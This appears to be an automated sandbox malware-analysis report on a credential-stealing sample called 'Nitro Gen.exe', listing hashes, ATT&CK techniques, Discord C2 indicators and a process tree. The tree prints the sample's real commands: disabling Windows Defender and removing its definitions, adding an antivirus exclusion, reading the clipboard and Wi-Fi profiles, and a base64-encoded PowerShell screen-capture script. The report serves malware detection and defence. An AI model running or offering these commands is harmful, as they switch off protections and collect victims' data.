b71b9447ada2657a217769c3af956f7be6a487550e8b3c602ac134d33bcb9a26

Analysis

max time kernel
12s
max time network
13s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
03-01-2025 05:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nitro Gen.exe
Size

6.8MB
MD5

db7698db99332e055fcb1ccd5eec6854
SHA1

792553babcad121773c1b988e88b080d338e3d9d
SHA256

b71b9447ada2657a217769c3af956f7be6a487550e8b3c602ac134d33bcb9a26
SHA512

93b9cd664b2734bf8002230f1ddf9dd22df9957925825154fb8cb711bfe81ff4277a53a4b567bbbb497e419d71a1085bf3d015d1e2f1fa52ae79bda70ce92976
SSDEEP

98304:0okkwN+MdA5wqSnWz8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DovaDJ1n6hB0L:0TV1vrB6ylnlPzf+JiJCsmFMvln6hqgK

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe
1424	powershell.exe
3460	powershell.exe
5004	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3332	cmd.exe
4628	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4088	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe
488	Nitro Gen.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
5	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4360	tasklist.exe
1048	tasklist.exe
3104	tasklist.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001900000002aacf-21.dat	upx
behavioral1/memory/488-24-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp	upx
behavioral1/files/0x001a00000002aabf-27.dat	upx
behavioral1/files/0x001900000002aacd-29.dat	upx
behavioral1/memory/488-48-0x00007FFEE9760000-0x00007FFEE976F000-memory.dmp	upx
behavioral1/memory/488-47-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp	upx
behavioral1/files/0x001900000002aac9-46.dat	upx
behavioral1/files/0x001900000002aac8-45.dat	upx
behavioral1/files/0x001900000002aac7-44.dat	upx
behavioral1/files/0x001900000002aac6-43.dat	upx
behavioral1/files/0x001900000002aac5-42.dat	upx
behavioral1/files/0x001900000002aac4-41.dat	upx
behavioral1/files/0x001900000002aac3-40.dat	upx
behavioral1/files/0x001c00000002aab7-39.dat	upx
behavioral1/files/0x001900000002aad7-38.dat	upx
behavioral1/files/0x001900000002aad4-37.dat	upx
behavioral1/files/0x001900000002aad3-36.dat	upx
behavioral1/files/0x001900000002aace-33.dat	upx
behavioral1/files/0x001900000002aacc-32.dat	upx
behavioral1/memory/488-54-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp	upx
behavioral1/memory/488-56-0x00007FFEE54F0000-0x00007FFEE5509000-memory.dmp	upx
behavioral1/memory/488-58-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp	upx
behavioral1/memory/488-60-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp	upx
behavioral1/memory/488-62-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp	upx
behavioral1/memory/488-64-0x00007FFEE9750000-0x00007FFEE975D000-memory.dmp	upx
behavioral1/memory/488-68-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp	upx
behavioral1/memory/488-72-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp	upx
behavioral1/memory/488-71-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp	upx
behavioral1/memory/488-70-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp	upx
behavioral1/memory/488-67-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp	upx
behavioral1/memory/488-77-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp	upx
behavioral1/memory/488-76-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp	upx
behavioral1/memory/488-75-0x00007FFEE3BC0000-0x00007FFEE3BD4000-memory.dmp	upx
behavioral1/memory/488-79-0x00007FFEDF690000-0x00007FFEDF7AC000-memory.dmp	upx
behavioral1/memory/488-143-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp	upx
behavioral1/memory/488-190-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp	upx
behavioral1/memory/488-245-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp	upx
behavioral1/memory/488-265-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp	upx
behavioral1/memory/488-266-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp	upx
behavioral1/memory/488-285-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp	upx
behavioral1/memory/488-286-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp	upx
behavioral1/memory/488-292-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp	upx
behavioral1/memory/488-287-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp	upx
behavioral1/memory/488-301-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp	upx
behavioral1/memory/488-311-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp	upx
behavioral1/memory/488-325-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp	upx
behavioral1/memory/488-327-0x00007FFEDF690000-0x00007FFEDF7AC000-memory.dmp	upx
behavioral1/memory/488-326-0x00007FFEE3BC0000-0x00007FFEE3BD4000-memory.dmp	upx
behavioral1/memory/488-324-0x00007FFEE9750000-0x00007FFEE975D000-memory.dmp	upx
behavioral1/memory/488-323-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp	upx
behavioral1/memory/488-322-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp	upx
behavioral1/memory/488-321-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp	upx
behavioral1/memory/488-320-0x00007FFEE54F0000-0x00007FFEE5509000-memory.dmp	upx
behavioral1/memory/488-319-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp	upx
behavioral1/memory/488-318-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp	upx
behavioral1/memory/488-317-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp	upx
behavioral1/memory/488-316-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp	upx
behavioral1/memory/488-303-0x00007FFEE9760000-0x00007FFEE976F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4968	cmd.exe
5048	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2116	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4180	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
5004	powershell.exe
3460	powershell.exe
3460	powershell.exe
5004	powershell.exe
4644	powershell.exe
4644	powershell.exe
4628	powershell.exe
4628	powershell.exe
4628	powershell.exe
4644	powershell.exe
2176	powershell.exe
2176	powershell.exe
2476	powershell.exe
2476	powershell.exe
1424	powershell.exe
1424	powershell.exe
3900	powershell.exe
3900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	4360	tasklist.exe
Token: SeDebugPrivilege	1048	tasklist.exe
Token: SeIncreaseQuotaPrivilege	416	WMIC.exe
Token: SeSecurityPrivilege	416	WMIC.exe
Token: SeTakeOwnershipPrivilege	416	WMIC.exe
Token: SeLoadDriverPrivilege	416	WMIC.exe
Token: SeSystemProfilePrivilege	416	WMIC.exe
Token: SeSystemtimePrivilege	416	WMIC.exe
Token: SeProfSingleProcessPrivilege	416	WMIC.exe
Token: SeIncBasePriorityPrivilege	416	WMIC.exe
Token: SeCreatePagefilePrivilege	416	WMIC.exe
Token: SeBackupPrivilege	416	WMIC.exe
Token: SeRestorePrivilege	416	WMIC.exe
Token: SeShutdownPrivilege	416	WMIC.exe
Token: SeDebugPrivilege	416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	416	WMIC.exe
Token: SeRemoteShutdownPrivilege	416	WMIC.exe
Token: SeUndockPrivilege	416	WMIC.exe
Token: SeManageVolumePrivilege	416	WMIC.exe
Token: 33	416	WMIC.exe
Token: 34	416	WMIC.exe
Token: 35	416	WMIC.exe
Token: 36	416	WMIC.exe
Token: SeDebugPrivilege	3104	tasklist.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeIncreaseQuotaPrivilege	416	WMIC.exe
Token: SeSecurityPrivilege	416	WMIC.exe
Token: SeTakeOwnershipPrivilege	416	WMIC.exe
Token: SeLoadDriverPrivilege	416	WMIC.exe
Token: SeSystemProfilePrivilege	416	WMIC.exe
Token: SeSystemtimePrivilege	416	WMIC.exe
Token: SeProfSingleProcessPrivilege	416	WMIC.exe
Token: SeIncBasePriorityPrivilege	416	WMIC.exe
Token: SeCreatePagefilePrivilege	416	WMIC.exe
Token: SeBackupPrivilege	416	WMIC.exe
Token: SeRestorePrivilege	416	WMIC.exe
Token: SeShutdownPrivilege	416	WMIC.exe
Token: SeDebugPrivilege	416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	416	WMIC.exe
Token: SeRemoteShutdownPrivilege	416	WMIC.exe
Token: SeUndockPrivilege	416	WMIC.exe
Token: SeManageVolumePrivilege	416	WMIC.exe
Token: 33	416	WMIC.exe
Token: 34	416	WMIC.exe
Token: 35	416	WMIC.exe
Token: 36	416	WMIC.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeIncreaseQuotaPrivilege	2872	WMIC.exe
Token: SeSecurityPrivilege	2872	WMIC.exe
Token: SeTakeOwnershipPrivilege	2872	WMIC.exe
Token: SeLoadDriverPrivilege	2872	WMIC.exe
Token: SeSystemProfilePrivilege	2872	WMIC.exe
Token: SeSystemtimePrivilege	2872	WMIC.exe
Token: SeProfSingleProcessPrivilege	2872	WMIC.exe
Token: SeIncBasePriorityPrivilege	2872	WMIC.exe
Token: SeCreatePagefilePrivilege	2872	WMIC.exe
Token: SeBackupPrivilege	2872	WMIC.exe
Token: SeRestorePrivilege	2872	WMIC.exe
Token: SeShutdownPrivilege	2872	WMIC.exe
Token: SeDebugPrivilege	2872	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 488	2124	Nitro Gen.exe	77
PID 2124 wrote to memory of 488	2124	Nitro Gen.exe	77
PID 488 wrote to memory of 2792	488	Nitro Gen.exe	78
PID 488 wrote to memory of 2792	488	Nitro Gen.exe	78
PID 488 wrote to memory of 408	488	Nitro Gen.exe	79
PID 488 wrote to memory of 408	488	Nitro Gen.exe	79
PID 408 wrote to memory of 3460	408	cmd.exe	82
PID 408 wrote to memory of 3460	408	cmd.exe	82
PID 2792 wrote to memory of 5004	2792	cmd.exe	83
PID 2792 wrote to memory of 5004	2792	cmd.exe	83
PID 488 wrote to memory of 2596	488	Nitro Gen.exe	84
PID 488 wrote to memory of 2596	488	Nitro Gen.exe	84
PID 488 wrote to memory of 240	488	Nitro Gen.exe	85
PID 488 wrote to memory of 240	488	Nitro Gen.exe	85
PID 240 wrote to memory of 4360	240	cmd.exe	89
PID 2596 wrote to memory of 1048	2596	cmd.exe	88
PID 240 wrote to memory of 4360	240	cmd.exe	89
PID 2596 wrote to memory of 1048	2596	cmd.exe	88
PID 488 wrote to memory of 2176	488	Nitro Gen.exe	131
PID 488 wrote to memory of 2176	488	Nitro Gen.exe	131
PID 488 wrote to memory of 3332	488	Nitro Gen.exe	92
PID 488 wrote to memory of 3332	488	Nitro Gen.exe	92
PID 488 wrote to memory of 3588	488	Nitro Gen.exe	93
PID 488 wrote to memory of 3588	488	Nitro Gen.exe	93
PID 488 wrote to memory of 1096	488	Nitro Gen.exe	95
PID 488 wrote to memory of 1096	488	Nitro Gen.exe	95
PID 488 wrote to memory of 4968	488	Nitro Gen.exe	97
PID 488 wrote to memory of 4968	488	Nitro Gen.exe	97
PID 488 wrote to memory of 960	488	Nitro Gen.exe	99
PID 488 wrote to memory of 960	488	Nitro Gen.exe	99
PID 488 wrote to memory of 4776	488	Nitro Gen.exe	102
PID 488 wrote to memory of 4776	488	Nitro Gen.exe	102
PID 2176 wrote to memory of 416	2176	cmd.exe	105
PID 2176 wrote to memory of 416	2176	cmd.exe	105
PID 3588 wrote to memory of 3104	3588	cmd.exe	106
PID 3588 wrote to memory of 3104	3588	cmd.exe	106
PID 1096 wrote to memory of 4844	1096	cmd.exe	107
PID 1096 wrote to memory of 4844	1096	cmd.exe	107
PID 4968 wrote to memory of 5048	4968	cmd.exe	108
PID 4968 wrote to memory of 5048	4968	cmd.exe	108
PID 960 wrote to memory of 4180	960	cmd.exe	109
PID 960 wrote to memory of 4180	960	cmd.exe	109
PID 3332 wrote to memory of 4628	3332	cmd.exe	110
PID 3332 wrote to memory of 4628	3332	cmd.exe	110
PID 4776 wrote to memory of 4644	4776	cmd.exe	111
PID 4776 wrote to memory of 4644	4776	cmd.exe	111
PID 488 wrote to memory of 3844	488	Nitro Gen.exe	112
PID 488 wrote to memory of 3844	488	Nitro Gen.exe	112
PID 3844 wrote to memory of 4412	3844	cmd.exe	114
PID 3844 wrote to memory of 4412	3844	cmd.exe	114
PID 488 wrote to memory of 616	488	Nitro Gen.exe	115
PID 488 wrote to memory of 616	488	Nitro Gen.exe	115
PID 616 wrote to memory of 3984	616	cmd.exe	117
PID 616 wrote to memory of 3984	616	cmd.exe	117
PID 488 wrote to memory of 1460	488	Nitro Gen.exe	118
PID 488 wrote to memory of 1460	488	Nitro Gen.exe	118
PID 4644 wrote to memory of 4168	4644	powershell.exe	120
PID 4644 wrote to memory of 4168	4644	powershell.exe	120
PID 1460 wrote to memory of 2492	1460	cmd.exe	121
PID 1460 wrote to memory of 2492	1460	cmd.exe	121
PID 488 wrote to memory of 2004	488	Nitro Gen.exe	122
PID 488 wrote to memory of 2004	488	Nitro Gen.exe	122
PID 2004 wrote to memory of 3680	2004	cmd.exe	124
PID 2004 wrote to memory of 3680	2004	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe
"C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe
  "C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nitro Gen.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:240
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4968
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand 